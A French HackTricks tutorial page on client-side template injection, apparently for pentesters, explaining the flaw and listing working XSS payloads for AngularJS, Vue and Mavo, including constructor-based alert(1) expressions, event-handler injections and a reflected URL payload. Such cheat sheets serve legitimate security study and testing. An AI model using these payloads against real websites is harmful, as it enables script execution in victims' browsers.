Client Side Template Injection (CSTI)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Résumé

C'est comme une Injection de Modèle Côté Serveur mais côté client. Le SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du code JavaScript arbitraire dans le navigateur de la victime.

Le test de cette vulnérabilité est très similaire à celui du SSTI, l'interpréteur attend un modèle et l'exécutera. Par exemple, avec une charge utile comme {{ 7-7 }}, si l'application est vulnérable, vous verrez un 0, sinon, vous verrez l'original : {{ 7-7 }}

AngularJS

AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, dont une notable est ng-app. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.

Dans les scénarios où une entrée utilisateur est insérée dynamiquement dans le corps HTML balisé avec ng-app, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en exploitant la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment du code JavaScript peut être exécuté :

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS sur http://jsfiddle.net/2zs2yv7o/ et dans Burp Suite Academy

Angular 1.6 a supprimé le bac à sable donc à partir de cette version, une charge utile comme {{constructor.constructor('alert(1)')()}} ou <input ng-focus=$event.view.alert('XSS')> devrait fonctionner.

VueJS

Vous pouvez trouver une implémentation Vue vulnérable sur https://vue-client-side-template-injection-example.azu.now.sh/ Charge utile fonctionnelle: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Et le code source de l'exemple vulnérable est ici: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Un très bon article sur CSTI en VUE peut être trouvé sur https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Crédit : Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Crédit: Mario Heiderich

Consultez plus de charges utiles VUE dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Charge utile:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Plus de charges utiles dans https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Liste de détection de force brute

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour